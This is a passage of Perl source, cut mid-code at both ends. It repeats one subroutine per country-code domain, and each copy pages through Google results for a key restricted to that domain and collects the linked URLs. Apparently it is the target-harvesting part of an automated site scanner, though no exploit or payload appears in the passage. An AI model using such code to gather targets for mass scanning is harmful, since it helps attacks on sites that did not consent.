&search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Afm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Amn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ms() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Ams%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ma() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Ama%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub na() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Ana%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub np() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Anp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Anz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ni() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Ani%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nf() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Anf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub no() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Ano%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub om() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aom%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Apk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pa() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Apa%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub py() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Apy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pe() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Ape%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Apn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pt() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Apt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Apr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub qa() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Aqa%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub rw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Arw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sh() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Ash%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Asm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sa() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Asa%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Asn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sc() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Asc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Asg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Ask%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub za() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Aza%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Alk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vc() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Avc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub se() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Ase%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ch() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Ach%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Atw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tj() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Atj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bs() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Abs%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub to() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Ato%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tt() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Att%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Atr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Atm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vi() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Avi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ug() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aug%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uy() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Auy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ve() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Ave%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Avm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub zm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Azm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ws() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub af() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Aaf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ax() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Aax%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub al() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Aal%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Adz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ao() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Aao%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aq() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Aaq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub am() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aam%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Aaw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ac() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Aac%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bj() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Abj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Abm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bt() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Abt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Abw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub io() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aio%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Abn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bf() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Abf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kh() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Akh%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Acm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cv() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Acv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ky() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aky%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cf() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Acf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cx() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Acx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Acw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cy() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Acy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Afk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fo() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Afo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gh() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Agh%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gd() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Agd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gp() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Agp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Agu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Agn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gy() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Agy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = 